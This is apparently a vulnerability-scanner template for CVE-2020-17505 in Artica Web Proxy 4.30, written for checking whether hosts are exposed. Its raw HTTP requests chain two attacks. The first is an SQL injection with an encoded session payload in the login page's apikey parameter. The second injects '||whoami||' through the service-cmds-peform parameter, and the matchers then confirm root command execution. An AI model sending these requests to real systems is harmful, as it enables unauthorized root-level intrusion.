id: CVE-2020-17505

info:
  name: Artica Web Proxy 4.30 OS Command Injection
  author: dwisiswant0
  severity: high
  description: Artica Web Proxy 4.30.000000 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.
  tags: cve,cve2020,rce
  reference: https://blog.max0x4141.com/post/artica_proxy/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.80
    cve-id: CVE-2020-17505
    cwe-id: CWE-78

requests:
  - raw:
      - |
        GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |
        GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "array(2)"
          - "Position: ||whoami||"
          - "root"
        condition: and

        part: body
      - type: status
        status:
          - 200